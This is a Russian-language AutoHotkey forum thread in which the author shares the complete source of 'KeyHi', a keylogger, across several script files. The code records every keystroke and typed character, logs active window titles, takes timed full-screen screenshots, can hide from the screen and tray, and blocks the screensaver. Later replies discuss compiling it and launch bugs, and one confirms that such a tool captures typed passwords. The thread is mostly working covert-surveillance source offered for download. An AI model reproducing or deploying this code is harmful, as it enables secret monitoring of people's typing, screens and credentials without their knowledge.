1 (изменено: Zohann, 2013-07-31 22:07:12)

Тема: AHK: KeyHi (Запись клавиш и скриншотов)

Набросал на досуге небольшой кейлоггер, используя код из разных тем, а также некоторые разработки ув. teadrinker.
Вот теперь думаю, стоит выкладывать или нет... Как думаете?
http://img10.imageshack.us/img10/4397/t7ac.jpg

Post's attachments

KeyHi.zip 210.6 kb, 103 downloads since 2013-07-31 

You don't have the permssions to download the attachments of this post.

2

Re: AHK: KeyHi (Запись клавиш и скриншотов)

Правила пишет:

Запрещается обсуждение способов осуществления любых форм компьютерного вредительства

Если этот скрипт позволяет украсть пароль, тогда нельзя выкладывать. Других препятствий не вижу.

3 (изменено: Zohann, 2013-06-26 21:52:32)

Re: AHK: KeyHi (Запись клавиш и скриншотов)

Краткое описание:
Запись в лог нажатий клавиш/символов (отключаемо).
Открытие лога в браузере.
Сохранение скриншотов через определенный промежуток времени 1 мин - 24 ч. (отключаемо).
Выбор формата скриншотов (jpg, bmp, gif, png, tif) и качества (50% - 99%).
Отключение записи скриншотов при бездействии компьютера 1 ч. - 23 ч. (отключаемо).
Запись заголовков открываемых окон (отключаемо).
Отключение хранителя экрана (посылает через определенный интервал нажатия клавиши Alt).
Выключатель работы программы.
Скрытие программы с экрана и из трея.
Запоминание местоположения окна программы.

+ KeyHi.ahk

; -------------------------- Переменные
ini = config.ini
Title = KeyHi
OutDirectory := A_ScriptDir "\Screenshots"
OutDirectoryLog := A_ScriptDir "\Keys"
WinPeriod = 1000
extall = jpg|bmp|gif|png|tif
#include, KeysCode.ahk
IfNotExist %OutDirectory%
    FileCreateDir %OutDirectory%
IfNotExist %OutDirectoryLog%
    FileCreateDir %OutDirectoryLog%
; -------------------------- Чтение параметров
But1 := Надпись()
IniRead, On, %ini%, Параметры, On, 0
; -------------------------- Чтение параметров клавиатуры
IniRead, Keys, %ini%, Keys, Keys, 0
IniRead, Simvols, %ini%, Keys, Simvols, 0
; -------------------------- Чтение параметров скриншотов
IniRead, SaveScreen, %ini%, Screen, SaveScreen, 0
IniRead, Win, %ini%, Windows, Win, 0
IniRead, ext, %ini%, Screen, ext, jpg ; формат скриншотов
IniRead, Quality, %ini%, Screen, Качество, 70
IniRead, Period, %ini%, Screen, Период, 300000 ; 5 мин по умолчанию
IniRead, Period_Sl, %ini%, Screen, ПериодСлайдер, 5 ; для слайдера
Gosub Period
IniRead, OffPeriod_visual, %ini%, Screen, Период бездействия слайдер, 1
IniRead, OffPeriod, %ini%, Screen, Период бездействия, 3600000
IniRead, Бездействие, %ini%, Screen, Отключить при бездействии, 1
IniRead, Хранитель, %ini%, Screen, Отключить хранитель экрана, 0
Gosub ОтключитьХранитель
; ---------------------
If On = 1
{
    If SaveScreen = 1
        SetTimer, PrintScreen, %Period%    ; вкл снятие скриншотов
If Keys = 1
SetTimer, Write, 100
If Win = 1
SetTimer, Windows, %WinPeriod%
}
; --------------------- Меню в трее
Menu, tray, Tip, %Title%
Menu, tray, NoStandard
menu, tray, add, Показать
menu, tray, Default, Показать
menu, tray, add
menu, tray, add, Справка
menu, tray, add, О программе..., О
menu, tray, add
menu, tray, add, Выход
Menu, Tray, Click, 1
; -------------------------- Gui скрыть/показать
Показать:
Gosub Расш ; определение Radio для включения
IfWinExist, %Title%
    {
WriteSizeIni(ini)
    Gui, Destroy
    Return
    }
; -------------------------- Чтение параметров окна программы
ReadSizeIni(ini)
; -------------------------- Gui
Gui, Add, GroupBox, Section w400 h86 Center, Клавиатура
Gui, Add, Checkbox, xp+8 yp+14 Checked%Keys% vKeys gСохранить, Записывать клавиши
Gui, Add, Checkbox, y+8 Checked%Simvols% vSimvols gСохранить, Записывать символы
Gui, Add, Button, y+8 gОткрытьЛог, Открыть лог
Gui, Add, GroupBox, xs w400 h162 Center, Скриншоты
Gui, Add, Checkbox, xs+8 yp+14 Checked%SaveScreen% vSaveScreen gСохранить, Сохранять скриншоты
Gui, Add, Text, y+8 w50, Формат:
Loop 5
    Gui, Add, Radio, % Chec%A_Index% " gСохранить x+8", % ex%A_Index%
Gui, Add, Text, xs+8 y+10 w50, Качество:
Gui, Add, Slider, x+3 yp-5 w150 Center NoTicks Thick20 Range50-100 AltSubmit vQuality gСохранить, %Quality% ; качество изображений
Gui, Add, Text, x+5 yp+5 w50 vTQ, % Quality "%"
Gui, Add, Text, xs+8  y+12 w50, Период:
Gui, Add, Slider, x+3 yp-5 w150 Center NoTicks Thick20 Range1-107 AltSubmit vPeriod_Sl gСохранить, %Period_Sl% ; период между снимками
Gui, Add, Text, x+5 yp+5 w50, %Period_visual%
Gui, Add, Checkbox, xs+8 y+12 Checked%Бездействие% gСохранить vБездействие, Откл. при бездействии более
Gui, Add, Slider, x+5 yp-5 w150 Center NoTicks Thick20 Range1-23 AltSubmit vOffPeriod_visual gСохранить, %OffPeriod_visual% ; период между снимками
Gui, Add, Text, x+5 yp+5 w50, %OffPeriod_visual% ч.
Gui, Add, Button, xs+8 y+8 gОткрытьПапку, Открыть папку
Gui, Add, GroupBox, xs w400 h36 Center, Окна
Gui, Add, Checkbox, xp+8 yp+14 Checked%Win% vWin gСохранить, Записывать открываемые окна
Gui, Add, Checkbox, x10 y+18 Checked%Хранитель% gСохранить vХранитель, Отключить хранитель экрана
Gui, Add, Button, x10 y+10 w80 gВключить, %But1%
Gui, Add, Button, x+5 wp gСкрыть, Скрыть
Gui, Add, Button, x+5 wp gВыход, Закрыть
Gui, +AlwaysOnTop
Gui, Show, %Position%, %Title%
Return
^!SC01F:: ; отображение значка в трее
Gosub Показать
Menu, Tray, Icon
Return
; -------------------------- Запись в ini-файл
Сохранить:
    Gui, Submit, NoHide
IniRead, On, %ini%, Параметры, On, 0 
    If A_GuiControl = Win ; --------------------------- Вкл/выкл запись открытых окон
{
IniWrite, %Win%, %ini%, Windows, Win
If On = 1
If Win = 1
SetTimer, Windows, %WinPeriod%
If Win = 0
SetTimer, Windows, off
}
    If A_GuiControl = Keys ; --------------------------- Вкл/выкл запись клавиш
        {
IniWrite, %Keys%, %ini%, Keys, Keys
If On = 1
If Keys = 1
SetTimer, Write, 100
If Keys = 0
SetTimer, Write, off
}
    If A_GuiControl = Simvols ; --------------------------- Вкл/выкл запись символов
        {
IniWrite, %Simvols%, %ini%, Keys, Simvols
}
    If A_GuiControl = SaveScreen ; --------------------------- Вкл/выкл скриншоты
        {
        If SaveScreen = 0
            SetTimer, PrintScreen, off ; выкл снятие скриншотов
        If On = 1
            If SaveScreen = 1
                SetTimer, PrintScreen, %Period% ; вкл снятие скриншотов
        IniWrite, %SaveScreen%, %ini%, Screen, SaveScreen
        }   
    If A_GuiControl = Quality
        {
        IniWrite, %Quality%, %ini%, Screen, Качество ; Качество скриншота
        ControlSetText, static3, % Quality "%"
        }
    If A_GuiControl = Period_Sl ; Период   
        {       
        Gosub Period
        ControlSetText, static5, %Period_visual%, %Title%
        }
    If A_GuiControl = Бездействие ; Отключить при бездействии
        IniWrite, %Бездействие%, %ini%, Screen, Отключить при бездействии
    If A_GuiControl = OffPeriod_visual ; Период бездействия
        {
        ControlSetText, static6, %OffPeriod_visual% ч., %Title%
        IniWrite, %OffPeriod_visual%, %ini%, Screen, Период бездействия слайдер
        IniWrite, % OffPeriod_visual*3600000, %ini%, Screen, Период бездействия
        }
    If A_GuiControl = Хранитель ; Отключить хранитель экрана
        {
        Gosub ОтключитьХранитель
        IniWrite, %Хранитель%, %ini%, Screen, Отключить хранитель экрана
        }       
    If InStr(extall, A_GuiControl) > 0  ; Расширение файла скриншота
        {
        ext := A_GuiControl
        IniWrite, %ext%, %ini%, Screen, ext       
        }
Return
; -------------------------- Включить/выкл программу
Включить:
    If A_GuiControl = Включить
        {
        SetTimer, PrintScreen, %Period% ; вкл снятие скриншотов
        Gosub ОтключитьХранитель ; вкл/откл хранитель экрана
If Keys = 1
SetTimer, Write, 100
If Win = 1
SetTimer, Windows, %WinPeriod%
        IniWrite, 1, %ini%, Параметры, On
        ControlSetText, Включить, Выключить
        }
    Else
        {
        IniWrite, 0, %ini%, Параметры, On       
        ControlSetText, Выключить, Включить
        SetTimer, PrintScreen, off ; выкл снятие скриншотов
        SetTimer, ПосылКлавиши, off ; отключить хранитель экрана
SetTimer, Windows, off ; отключить запись открываемых окон
SetTimer, Write, off
        }
Return
; -------------------------- Выход
Выход:
WriteSizeIni(ini)
    ExitApp
; --------------------------
#include, Function.ahk
#include, PrintScreen.ahk
#include, Keyboard.ahk
#include, MoveGUI.ahk
#include, Windows.ahk
#include, Help.ahk

+ KeysCode.ahk

All =
|SC001=[ESC]
|SC03B=[F1]
|SC03C=[F2]
|SC03D=[F3]
|SC03E=[F4]
|SC03F=[F5]
|SC040=[F6]
|SC041=[F7]
|SC042=[F8]
|SC043=[F9]
|SC044=[F10]
|SC057=[F11]
|SC058=[F12]
|SC00F=[Tab]
|SC03A=[Caps Lock]
|SC02A=[Shift]
|SC01D=[Ctrl]
|SC15B=[Left Windows]
|SC038=[Alt]
|SC039=[Space]
|SC138=[Right Alt]
|SC15C=[Right Windows]
|SC15D=[Application]
|SC11D=[Right Ctrl]
|SC136=[Right Shift]
|SC01C=[Enter]
|SC00E=[Backspace]
|SC137=[PrtScrn]
|SC046=[Scroll Lock]
|SC045=[Pause]
|SC152=[Insert]
|SC147=[Home]
|SC149=[Page Up]
|SC153=[Delete]
|SC14F=[End]
|SC151=[Page Down]
|SC145=[Num Lock]
|SC11C=[Num Enter]
|SC01C=[Enter]
|SC053=[Num Del]
|SC148=[Up]
|SC14B=[Left]
|SC150=[Down]
|SC14D=[Right] |

+ Function.ahk

; --------------------- Чтение файла лога
ОткрытьЛог:
Log := OutDirectoryLog "\" A_YYYY A_MM A_DD "_log.txt"
LogHTML := OutDirectoryLog "\" A_YYYY A_MM A_DD ".html"
IfNotExist, %Log% ; если файл не существует, выходим
Return
IfExist, %LogHTML% ; если файл существует, удаляем
FileDelete,  %LogHTML%
Loop, read, %Log%
{
if !A_LoopReadLine ; если строка пустая, пропускаем
Continue
RegExMatch(A_LoopReadLine, "\((.*)\|(.*)\|(.*)\)(.*)", tl) ; время/класс окна/заголовок окна/клавиши
; tx := ReText(tl4) ; для кодового текста
FileAppend, <h3><Font Color=Blue>%tl1% | %tl2%</font><BR>`n<h4> %tl4% `n, %LogHTML% ; формируем документ
}
Run %LogHTML% ; открыть документ в браузере
Return
; --------------------- Перебор символов в строке (для кодового текста)
ReText(txt)
{
Loop, parse, txt, ] ; сплит строки по символу ]
{
StringRight, Lang, A_LoopField, 1
If Lang not contains E,R ; проверка ошибки
Continue
RegExMatch(A_LoopField, "(.*)\[", sm) ; получаем код символа 02A
txtAll .= ReadFile(sm1, Lang) ; чтение из файла символов
}
Return txtAll
}
; -------------------------- Надпись кнопки
Надпись()
    {   
    global ini
    IniRead, OnOff, %ini%, Параметры, On, 0
    Return     OnOff = 0 ? "Включить" : "Выключить"
    }
; -------------------------- Скрыть окно программы
Скрыть:
MsgBox, 262192, Внимание!, Программа будет скрыта. Для показа иконки в трее нажмите Ctrl+Alt+S
Menu, Tray, NoIcon
GuiClose:
; Gui, Submit, NoHide
WriteSizeIni(ini)
    Gui, Destroy
Return
; --------------------------
ПосылКлавиши:
    Send {Alt}
Return
; -------------------------- Открыть папку скриншотов
ОткрытьПапку:
    Run %OutDirectory%
Return
; --------------------------
Расш: ; определение Radio для включения
IniRead, ext, %ini%, Screen, ext, jpg   
    StringSplit, ex, extall, |
    Loop %ex0%
        If ext = % ex%A_Index%
            Chec%A_Index% = Checked1
Else
    Chec%A_Index% =
Return
; --------------------------
ОтключитьХранитель:
    If Хранитель = 1
        SetTimer, ПосылКлавиши, 300000
    Else
        SetTimer, ПосылКлавиши, off
Return
; --------------------------
Period:
    If Period_Sl Between 1 AND 59
        {
        Period_visual := Period_Sl " мин."
        Period := Period_Sl*60000
        }
    Else
        {
        Period_visual := Floor(Period_Sl/2-29) " ч."
        Period := Floor(Period_Sl/2-29)*3600000
        }
    IniWrite, %Period%, %ini%, Screen, Период
    IniWrite, %Period_Sl%, %ini%, Screen, ПериодСлайдер   
Return
ПереносСтроки()
{
global OutDirectoryLog, Log
n = 0 ; метка для определения пуст ли файл
WinGet, Active_Window_ID, ID, A ; получаем ID активного окна
WinGetTitle, TitleMy, ahk_id %Active_Window_ID%
WinGetClass, Class, ahk_id %Active_Window_ID%
Loop, read, %OutDirectoryLog%\%Log%
{
n := A_Index
LastStr := A_LoopReadLine
}
If LastStr not contains %Class%
{
FormatTime, DateTime,, yyyy.MM.dd. HH:mm
nn := n > 0 ? "`n" : "" ; определить надо ли переносить строку
FileAppend, %nn%(%A_Hour%:%A_Min%|%Class%|%TitleMy%), %OutDirectoryLog%\%Log%
}
}
Write:
Input, Key, B C L1 V,
ПереносСтроки()
Log := A_YYYY A_MM A_DD "_log.txt" ; имя лога
FileAppend, %Key%, %OutDirectoryLog%\%Log% ; запись символа в лог
; ToolTip, -%Key%-
Return

+ PrintScreen.ahk

PrintScreen:
    If Бездействие = 1
        If A_TimeIdle > OffPeriod*3600000
            Return
    if !DllCall("GetModuleHandle", Str, "gdiplus")
        DllCall("LoadLibrary", Str, "gdiplus")
    VarSetCapacity(si, 16, 0), si := Chr(1)
    DllCall("gdiplus\GdiplusStartup", "uint*", pToken, UInt, &si, UInt, 0)
    Critical
    OutFileName := A_Year  A_MM  A_DD "-" A_Hour A_Min A_Sec (HighSpeed ? "-" A_MSec : "")
    CaptureScreen(0, OutDirectory "\" OutFileName "." ext, Quality, 0)
Return

CaptureScreen(aRect, sFile, nQuality, Cursor)
    {
    pBitmap := BitmapFromScreen(aRect, Cursor, 0x40000000 | 0x00CC0020)
    SaveBitmapToFile(pBitmap, sFile, nQuality)
    DllCall("gdiplus\GdipDisposeImage", UInt, pBitmap)
    }

BitmapFromScreen(Screen, Cursor, Raster="")
    {
    if (Screen = 0)
        {
        Sysget, x, 76
        Sysget, y, 77
        Sysget, w, 78
        Sysget, h, 79
        }
    else
        {
            StringSplit, S, Screen, |
            x := S1, y := S2, w := S3, h := S4
        }
    chdc := DllCall("CreateCompatibleDC", UInt, 0)
    VarSetCapacity(bi, 40, 0)
    NumPut(w, bi, 4), NumPut(h, bi, 8), NumPut(40, bi, 0), NumPut(1, bi, 12, "ushort")
    NumPut(0, bi, 16), NumPut(32, bi, 14, "ushort")
    hbm := DllCall("CreateDIBSection"
        , UInt , chdc, UInt , &bi, UInt , 0, "uint*", 0, UInt , 0, UInt , 0)
    obm := DllCall("SelectObject", UInt, chdc, UInt, hbm)
    hhdc := DllCall("GetDC", UInt, 0)
    DllCall("gdi32\BitBlt", UInt, chdc, Int, 0, Int, 0, Int, w, Int, h
        , UInt, hhdc, Int, x, Int, y, UInt, Raster)
    DllCall("ReleaseDC", UInt, 0, UInt, hhdc)
    DllCall("gdiplus\GdipCreateBitmapFromHBITMAP", UInt, hbm, UInt, 0, "uint*", pBitmap)
    DllCall("SelectObject", UInt, chdc, UInt, obm)
    DllCall("DeleteObject", UInt, hbm)
    DllCall("DeleteDC", UInt, hhdc)
    DllCall("DeleteDC", UInt, chdc)
    return pBitmap
    }

SaveBitmapToFile(pBitmap, sOutput, Quality=75)
{
   SplitPath, sOutput,,, Extension
   if Extension not in BMP,DIB,RLE,JPG,JPEG,JPE,JFIF,GIF,TIF,TIFF,PNG
      return -1
   Extension := "." Extension
   DllCall("gdiplus\GdipGetImageEncodersSize", "uint*", nCount, "uint*", nSize)
   VarSetCapacity(ci, nSize)
   DllCall("gdiplus\GdipGetImageEncoders", UInt, nCount, UInt, nSize, UInt, &ci)
   if !(nCount && nSize)
      return -2
   Loop, %nCount%
   {
      Location := NumGet(ci, 76*(A_Index-1)+44)
      if !A_IsUnicode
      {
         nSize := DllCall("WideCharToMultiByte", UInt, 0, UInt, 0
            , UInt, Location, Int, -1, UInt, 0, Int,  0, UInt, 0, UInt, 0)
         VarSetCapacity(sString, nSize)
         DllCall("WideCharToMultiByte", UInt, 0, UInt, 0, UInt, Location
            , Int, -1, Str, sString, Int, nSize, UInt, 0, UInt, 0)
         if !InStr(sString, "*" Extension)
            continue
      }
      else
      {
         nSize := DllCall("WideCharToMultiByte", UInt, 0, UInt, 0
            , UInt, Location, Int, -1, UInt, 0, Int,  0, UInt, 0, UInt, 0)
         sString := ""
         Loop, %nSize%
            sString .= Chr(NumGet(Location+0, 2*(A_Index-1), "char"))
         if !InStr(sString, "*" Extension)
            continue
      }
      pCodec := &ci+76*(A_Index-1)
      break
   }
   if !pCodec
      return -3

   if (Quality != 75)
   {
      Quality := (Quality < 0) ? 0 : (Quality > 100) ? 100 : Quality
      if Extension in .JPG,.JPEG,.JPE,.JFIF
      {
         DllCall("gdiplus\GdipGetEncoderParameterListSize"
            , UInt, pBitmap, UInt, pCodec, "uint*", nSize)
         VarSetCapacity(EncoderParameters, nSize, 0)
         DllCall("gdiplus\GdipGetEncoderParameterList", UInt, pBitmap
            , UInt, pCodec, UInt, nSize, UInt, &EncoderParameters)
         Loop, % NumGet(EncoderParameters)      ;%
         {
            if (NumGet(EncoderParameters, (28*(A_Index-1))+20) = 1)
               && (NumGet(EncoderParameters, (28*(A_Index-1))+24) = 6)
            {
               p := (28*(A_Index-1))+&EncoderParameters
               NumPut(Quality, NumGet(NumPut(4, NumPut(1, p+0)+20)))
               break
            }
         }
      }
   }
   if !A_IsUnicode
   {
      nSize := DllCall("MultiByteToWideChar"
         , UInt, 0, UInt, 0, UInt, &sOutput, Int, -1, UInt, 0, Int, 0)
      VarSetCapacity(wOutput, nSize*2)
      DllCall("MultiByteToWideChar"
         , UInt, 0, UInt, 0, UInt, &sOutput, Int, -1, UInt, &wOutput, Int, nSize)
      VarSetCapacity(wOutput, -1)
      if !VarSetCapacity(wOutput)
         return -4
      E := DllCall("gdiplus\GdipSaveImageToFile"
         , UInt, pBitmap, UInt, &wOutput, UInt, pCodec, UInt, p ? p : 0)
   }
   else
      E := DllCall("gdiplus\GdipSaveImageToFile"
         , UInt, pBitmap, UInt, &sOutput, UInt, pCodec, UInt, p ? p : 0)
   return E ? -5 : 0
}

+ Keyboard.ahk

*~SC001:: ; Esc
*~SC03B:: ; F1
*~SC03C:: ; F2
*~SC03D:: ; F3
*~SC03E:: ; F4
*~SC03F:: ; F5
*~SC040:: ; F6
*~SC041:: ; F7
*~SC042:: ; F8
*~SC043:: ; F9
*~SC044:: ; F10
*~SC057:: ; F11
*~SC058:: ; F12
*~SC00F:: ; Tab
*~SC02A:: ; Shift
*~SC01D:: ; Ctrl
*~SC15B:: ; Left Windows
*~SC038:: ; Alt
*~SC039:: ; Space
*~SC138:: ; Right Alt
*~SC15C:: ; Right Windows
*~SC15D:: ; Application
*~SC11D:: ; Right Ctrl
*~SC136:: ; RShift
*~SC01C:: ; Enter
*~SC00E:: ; Backspace
*~SC137:: ; Prnt ~SCrn 
*~SC046:: ; ~SCroll Lock
*~SC045:: ; Pause
*~SC152:: ; Insert
*~SC147:: ; Home
*~SC149:: ; Page Up
*~SC153:: ; Delete
*~SC14F:: ; End
*~SC151:: ; Page Down
*~SC145:: ; Num Lock
*~SC11C:: ; Num Enter
*~SC053:: ; Num Del
*~SC148:: ; Up
*~SC14B:: ; Left
*~SC150:: ; Down
*~SC14D:: ; Right
Gosub WriteS
Return

WriteS: ; --------------------- Запись символов в файл
If On = 0 ; программа отключена
Return
If Simvols = 0 ; запись символов отключена
Return
; --------------------- Определение параметров
Log := A_YYYY A_MM A_DD "_log.txt" ; имя лога
ПереносСтроки()
StringReplace, SC, A_ThisHotKey, *~ ; удалить "*~" из кода символа
K := RegExMatch(All, ".*" SC "=(.*?)\s\|", Word)
FileAppend, %Word1%, %OutDirectoryLog%\%Log% ; запись символа в лог
Return
; --------------------- Чтение из файла символов (KeysCode.ini)
ReadFile(sm, Lang)
{
global All
d := RegExMatch(%Lang%, ".*SC" sm "=(.*?)\s\|", Word)
If d = 0
d := RegExMatch(All, ".*SC" sm "=(.*?)\s\|", Word)
Return Word1
}
*~SC03A:: ; CapsLock в системе
CapsOn := GetKeyState("Capslock", "P")
Return

+ MoveGUI.ahk

WriteSizeIni(iniFile)
{
global Title
WinGetPos, x, y, Width, Height, %Title%
IniWrite, %x%, %iniFile%, WinPosition, x
IniWrite, %y%, %iniFile%, WinPosition, y
}

ReadSizeIni(iniFile)
{
global
IniRead, x, %iniFile%, WinPosition, x, 1
IniRead, y, %iniFile%, WinPosition, y, 1
x := x < 0 ? 1 : x
y := y < 0 ? 1 : y
Position := x = 1 ? "" : "x"x " y"y
Return Position
}

+ Windows.ahk

Windows:
WinGet, Active_Window_ID, ID, A ; получаем ID активного окна
WinGetTitle, TitleMy, ahk_id %Active_Window_ID%
WinGetClass, Class, ahk_id %Active_Window_ID%
n = 0 ; метка для определения пуст ли файл
Loop, read, %OutDirectoryLog%\%Log%
{
n := A_Index
LastStr := A_LoopReadLine
If A_LoopReadLine contains %A_Hour%:%A_Min%|%Class%|%TitleMy%
Return
}
If LastStr contains %Class%|%TitleMy%
Return
nn := n > 0 ? "`n" : "" ; определить надо ли переносить строку
Log := A_YYYY A_MM A_DD "_log.txt" ; имя лога
FileAppend, %nn%(%A_Hour%:%A_Min%|%Class%|%TitleMy%), %OutDirectoryLog%\%Log%
Return

+ Help.ahk

; -------------------------- Справка
О:
MsgBox, 262208, KeyHi,
(
Программа предназначена для записи клавиш и скриншотов.
© 2013 Zohann
)
Return
Справка:
MsgBox, 262208, Справка,
(
Записывать клавиши - выключатель записи клавиш
Записывать символы - выключатель записи символов в лог
Открыть лог - открыть лог записи
Сохранять скриншоты - выключатель записи скриншотов
Формат jpg, bmp, gif, png, tif - формат сохраняемого скриншота
Качество - качество скриншота
Период - период через который будет производиться запись скриншота
Откл. при бездействии более - выключатель записи скриншотов после указанного времени простоя
Открыть папку - открыть папку скриншотов
Записывать открываемые окна - включение записи заголовков нового окна
Отключить хранитель экрана - отключает хранитель экрана (посылает через определенный интервал нажатия клавиши Alt)
Выключить/включить - выключатель работы программы
Скрыть - скрывает программу с экрана и из трея. Для отображения программы, нажмите Ctrl+Shift+S
)
Return

Файлы должны быть в кодировке ANSI

4

Re: AHK: KeyHi (Запись клавиш и скриншотов)

Исправил функцию в  Function.ahk (некорректно определялось текущее расширение после обновления GUI)

Расш: ; определение Radio для включения
IniRead, ext, %ini%, Screen, ext, jpg    
    StringSplit, ex, extall, |
    Loop %ex0%
        If ext = % ex%A_Index%
            Chec%A_Index% = Checked1
        Else
            Chec%A_Index% =
Return

5

Re: AHK: KeyHi (Запись клавиш и скриншотов)

Можете выложить одним файлом?

По вопросам возмездной помощи пишите на E-Mail: serzh82saratov@mail.ru Telegram: https://t.me/sergiol982
Win10x64 AhkSpy, Hotkey, ClockGui

6

Re: AHK: KeyHi (Запись клавиш и скриншотов)

Могу, а что мешает скомпилировать?

7

Re: AHK: KeyHi (Запись клавиш и скриншотов)

Да просто копировать много текста. Выложите в архиве отдельными файлами.

По вопросам возмездной помощи пишите на E-Mail: serzh82saratov@mail.ru Telegram: https://t.me/sergiol982
Win10x64 AhkSpy, Hotkey, ClockGui

8 (изменено: Zohann, 2013-07-31 22:11:14)

Re: AHK: KeyHi (Запись клавиш и скриншотов)

Хорошо, вечером.
В шапке.

9

Re: AHK: KeyHi (Запись клавиш и скриншотов)

Производится запуск программки а окно не показывается....почему так7

10

Re: AHK: KeyHi (Запись клавиш и скриншотов)

ZIGGIPUIT Какой файл запускаете?

11

Re: AHK: KeyHi (Запись клавиш и скриншотов)

Запускаю файл KeyHI.exe. запускается и ничего не происходит, просто в трэе ярлык висит и все. можно справку и о программе посмотреть. окно проги не показывает.

12

Re: AHK: KeyHi (Запись клавиш и скриншотов)

v63 пишет:

Запускаю файл KeyHI.exe. запускается и ничего не происходит, просто в трэе ярлык висит и все. можно справку и о программе посмотреть. окно проги не показывает.

И у меня также. У меня Win XP

13

Re: AHK: KeyHi (Запись клавиш и скриншотов)

А у меня другой вопрос. Можно сказать прямо противоположный теме.
Допустим, я написал крохотный скрипт, который одним кликом вводит логин и пароль в какую нибудь форму ввода данных. Может ли обычный кейлоггер перехватить их?

14

Re: AHK: KeyHi (Запись клавиш и скриншотов)

Может.

Разработка AHK-скриптов:
e-mail dfiveg@mail.ru
Telegram jollycoder